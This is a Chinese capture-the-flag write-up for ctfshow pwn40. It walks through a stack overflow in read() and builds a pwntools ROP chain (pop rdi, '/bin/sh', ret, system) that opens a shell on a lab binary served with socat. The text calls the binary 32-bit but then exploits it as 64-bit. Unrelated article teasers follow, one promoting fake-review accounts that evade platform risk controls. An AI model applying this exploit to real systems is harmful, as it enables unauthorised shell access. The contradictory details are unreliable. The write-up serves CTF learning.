ctfshow pwn40

目录

1. 分析程序

2. 漏洞编写

3. 漏洞验证


1. 分析程序

首先检查程序相关保护,发现程序为32位且只开启了一个NX保护

checksec pwn

使用IDA进行逆向分析代码,查看漏洞触发点:

在main函数中,有一个ctfshow函数,这里我们跟进ctfshow()

发现存在一个read函数,此函数写法存在漏洞,buf限制的是0x14个字节,但是可以传入0x32个字节并造成栈溢出。

  • 当程序执行到 read(0, buf, 0x32u) 时:
    • 程序会阻塞等待用户输入
    • 用户通过键盘(或输入重定向)输入数据
    • 输入的数据会被原样复制buf 指向的内存中

        同时我们注意到,程序存在一个后门函数hint(),但是hint函数不是system("/bin/sh")了,而是 puts("/bin/sh")return system("echo 'You find me?'"),因此我们需要通过组合,重新将其拼接成system("/bin/sh")。

        首先我们获取到system函数地址,以及/bin/sh所在内存位置,这里通过工具objdump以及ROPgadget进行查找,使用objdump查找system函数所在具体位置,输入objdump -d -j .plt pwn,可以看到地址为0x400520

        使用ROPgadget查找/bin/sh所在位置,这里发现了两个,随意一个都可以使用:

ROPgadget --binary pwn --string /bin/sh这里我们使用0x0000000000400808

        64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈

        所以,这里我们还需要使用工具找到找到一个pop_rdi的地址,输入:ROPgadget --binary pwn --only "pop|ret" | rdi,这里我们使用地址0x00000000004007e3

        还需要一个返回地址ret做栈对齐:ROPgadget --binary pwn --only "ret",这里我们使用地址0x00000000004004fe

        计算偏移地址,可以直接在IDA上看到相关偏移地址,到RBP的距离为0xA。

2. 漏洞编写

        首先确定基本信息

from pwn import *
context.log_level = 'debug'
io = remote("192.168.79.135",10001)

        接着构造payload信息,需要计算偏移量,构造ret_rdi、bin_sh、ret、system的函数的地址

ret_edi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_edi) + p64(bin_sh) + p64(ret) + p64(system)

        最终我们的目的就是通过栈溢出修改返回地址,以控制程序执行流程。它通过调用 pop_rdi 指令将 bin_sh 的地址加载到寄存器rdi中,然后通过 ret 指令进行间接跳转,最终调用 system 函数,以执行 system(“/bin/sh”)进而获得一个我们想要的shell。

完整的payload如下:

from pwn import *
context(arch="amd64",os="linux")
io = remote("192.168.79.135",10001)ret_rdi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_rdi) + p64(bin_sh) + p64(ret) + p64(system)io.sendline(payload)
io.interactive()

3. 漏洞验证

        服务端启动相关程序,挂载至本地的10001端口上:

sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn

攻击端运行编写好的程序,可以看到获取了服务端的权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/90887.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/90887.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL173 店铺901国庆期间的7日动销率和滞销率

SQL173 店铺901国庆期间的7日动销率和滞销率 SQL题解:店铺动销率与滞销率计算 关键:只要当天任一店铺有任何商品的销量就输出该天的结果,即使店铺901当天的动销率为0。 潜台词:​输出逻辑与店铺901的销售情况无关,只取…

PytorchLightning最佳实践基础篇

PyTorch Lightning(简称 PL)是一个建立在 PyTorch 之上的高层框架,核心目标是剥离工程代码与研究逻辑,让研究者专注于模型设计和实验思路,而非训练循环、分布式配置、日志管理等重复性工程工作。本文从基础到进阶&…

Apache Flink 实时流处理性能优化实践指南

Apache Flink 实时流处理性能优化实践指南 随着大数据和实时计算需求不断增长,Apache Flink 已经成为主流的流处理引擎。然而,在生产环境中,高并发、大吞吐量和低延迟的业务场景对 Flink 作业的性能提出了更高要求。本文将从原理层面深入解析…

ubuntu上将TempMonitor加入开机自动运行的方法

1.新建一个TempMonitor.sh文件,内容如下:#!/bin/bashcd /fjrobot/ ./TempMonitor &2.执行以下命令chmod x TempMonitor chmod x TempMonitor.sh rm -rf /etc/rc2.d/S56TempMonitor rm -rf /etc/init.d/TempMonitor cp /fjrobot/TempMonitor.sh /etc/…

速卖通自养号测评技术解析:IP、浏览器与风控规避的实战方案

一、速卖通的“春天”来了,卖家如何抓住机会?2025年的夏天,速卖通的风头正劲。从沙特市场跃升为第二大电商平台,到8月大促返佣力度升级,平台对优质商家的扶持政策越来越清晰。但与此同时,竞争也愈发激烈——…

adb: CreateProcessW failed: 系统找不到指定的文件

具体错误 adb devices * daemon not running; starting now at tcp:5037 adb: CreateProcessW failed: 系统找不到指定的文件。 (2) * failed to start daemon adb.exe: failed to check server version: cannot connect to daemon 下载最新的platform-tools-windows 下载最新…

Centos安装HAProxy搭建Mysql高可用集群负载均衡

接上文MYSQL高可用集群搭建–docker https://blog.csdn.net/weixin_43914685/article/details/149647589?spm1001.2014.3001.5501 连接到你搭建的 Percona XtraDB Cluster (PXC) 数据库集群,实现高可用性和负载均衡,建议使用一个中间件来管理这些连接。…

Sql server开挂的OPENJSON

以前一直用sql server2008,自从升级成sql server2019后,用OPENJSON的感觉像开挂,想想以前表作为参数传输时的痛苦,不堪回首。一》不堪回首 为了执行效率,很多时候希望将表作为参数传给数据库的存储过程。存储过程支持自…

【数据结构】队列和栈练习

1.用队列实现栈 225. 用队列实现栈 - 力扣(LeetCode) typedef int QDatatype; typedef struct QueueNode {struct QueueNode *next;QDatatype data; }QNode;typedef struct Queue {QNode* head;QNode* tail;QDatatype size; }Que;typedef struct {Que…

LabVIEW二维码实时识别

​LabVIEW通过机器视觉技术,集成适配硬件构建二维码实时识别系统。通过图像采集、预处理、定位及识别全流程自动化,解决复杂环境下二维码识别效率低、准确率不足问题,满足工业产线追溯、物流分拣等实时识别需求。应用场景适用于工业产线追溯&…

微服务-springcloud-springboot-Skywalking详解(下载安装)

一、SkyWalking核心介绍 1. 什么是SkyWalking? Apache SkyWalking是一款国人主导开发的开源APM(应用性能管理)系统,2015年由吴晟创建,2017年进入Apache孵化器,2019年毕业成为Apache顶级项目。它通过分布式…

Elasticsearch 字段值过长导致索引报错问题排查与解决经验总结

在最近使用 Elasticsearch 的过程中,我遇到了一个 字段值过长导致索引失败 的问题。经过排查和多次尝试,最终通过设置字段 "index": false 方式解决。本文将从问题现象、排查过程、问题分析、解决方案和建议等方面,详细记录这次踩坑…

使用idea 将一个git分支的部分记录合并到git另一个分支

场景: 有多个版本分支,需要将其中一个分支的某一两次提交合并到指定分支上 eg: 将v1.0.0分支中指定提交记录 合并到 v1.0.1分支中 操作: 步骤一 idea切换项目分支到v1.0.1(需要合并到哪个分支就先站到哪个分支上) 步骤二 在ide…

基于深度学习的图像分类:使用ShuffleNet实现高效分类

前言 图像分类是计算机视觉领域中的一个基础任务,其目标是将输入的图像分配到预定义的类别中。近年来,深度学习技术,尤其是卷积神经网络(CNN),在图像分类任务中取得了显著的进展。ShuffleNet是一种轻量级的…

OpenGL里相机的运动控制

相机的核心构造一个是glm::lookAt函数,一个是glm::perspective函数,本文相机的一切运动都在于如何构建相应的参数传入上述两个函数里。glm::mat4 glm::lookAt(glm::vec3 const &eye,//相机所在位置glm::vec3 const &center,//要凝视的点glm::vec…

java设计模式 -【策略模式】

策略模式定义 策略模式(Strategy Pattern)是一种行为设计模式,允许在运行时选择算法的行为。它将算法封装成独立的类,使得它们可以相互替换,而不影响客户端代码。 核心组成 Context(上下文)&…

项目重新发布更新缓存问题,Nginx清除缓存更新网页

server {listen 80;server_name your.domain.com; # 替换为你的域名root /usr/share/nginx/html; # 替换为你的项目根目录# 规则1:HTML 文件 - 永不缓存# 这是最关键的一步,确保浏览器总是获取最新的入口文件。location /index.html {add_header Cache-…

系统架构师:系统安全与分析-思维导图

系统安全与分析的定义​​系统安全与分析是系统架构师在系统全生命周期中贯穿的核心职责,其本质是通过​​识别、评估、防控安全风险,并基于数据与威胁情报进行动态分析​​,构建从技术到管理的多层次防护体系,确保系统的保密性&a…

利用 Google Guava 的令牌桶限流实现数据处理限流控制

目录 一、令牌桶限流机制原理 二、场景设计与目标 三、核心实现代码(Java) 1. 完整代码实现 四、运行效果分析 五、应用建议 在高吞吐数据处理场景中,如何限制数据处理速率、保护系统资源、防止下游服务过载是系统设计中重要的环节。本文…

小黑课堂计算机二级 WPS Office题库安装包2.52_Win中文_计算机二级考试_安装教程

软件下载 【名称】:小黑课堂计算机二级 WPS Office题库安装包2.52 【大小】:584M 【语言】:简体中文 【安装环境】:Win10/Win11(其他系统不清楚) 【迅雷网盘下载链接】(务必手机注册&#…